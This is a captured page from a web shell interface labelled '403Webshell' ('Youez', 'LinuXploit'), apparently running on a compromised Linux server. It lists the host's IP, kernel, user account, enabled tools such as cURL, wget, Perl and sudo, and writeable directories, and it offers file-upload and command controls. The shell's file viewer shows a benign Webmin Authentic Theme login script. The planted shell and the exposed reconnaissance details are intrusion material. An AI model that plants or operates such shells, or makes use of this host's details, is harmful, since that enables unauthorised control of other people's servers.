403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/webmin/authentic-theme/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/authentic-theme/login-lib.pl
#
# Authentic Theme (https://github.com/webmin/authentic-theme)
# Copyright Ilia Ross <ilia@webmin.dev>
# Licensed under MIT (https://github.com/webmin/authentic-theme/blob/master/LICENSE)
#
use strict;
use warnings;

require("$ENV{'THEME_ROOT'}/login-lib-funcs.pl");

our (%gconfig, $config_directory, $pragma_no_cache, $current_theme);
our ($miniserv, $webprefix, $bg, $textbox_attrs, $hostname);

# Use config from miniserv
$miniserv = \%miniserv::config;

# Load the theme library
load_theme_library();

# Set basic variables
$webprefix = &get_webprefix();
$bg = theme_night_mode_login() ? "nightRider" : "gainsboro";
$textbox_attrs = sub {
	my $complete = shift;
	$complete ||= $gconfig{'noremember'} ? "off" : "username";
	return "autocomplete=$complete autocorrect=off autocapitalize=none";
	};

# Check to add error handler
error_40x_handler();

# Collect theme configs
my %theme_config = (
    settings("$config_directory/$current_theme/settings.js",    'settings_'),
    settings("$config_directory/$current_theme/settings-admin", 'settings_'),
    settings("$config_directory/$current_theme/settings-root",  'settings_'));

# Get hostname
if ($theme_config{'settings_login_page_server_name'}) {
    $hostname = $theme_config{'settings_login_page_server_name'};
    }
elsif ($gconfig{'realname'}) {
    $hostname = &get_display_hostname();
    }
else {
    $hostname = get_env('server_name');
    $hostname =~ s/:\d+//g;
    $hostname = &html_escape($hostname);
    }

# Never cache
$pragma_no_cache = 1;

1;

Youez - 2016 - github.com/yon3zu
LinuXploit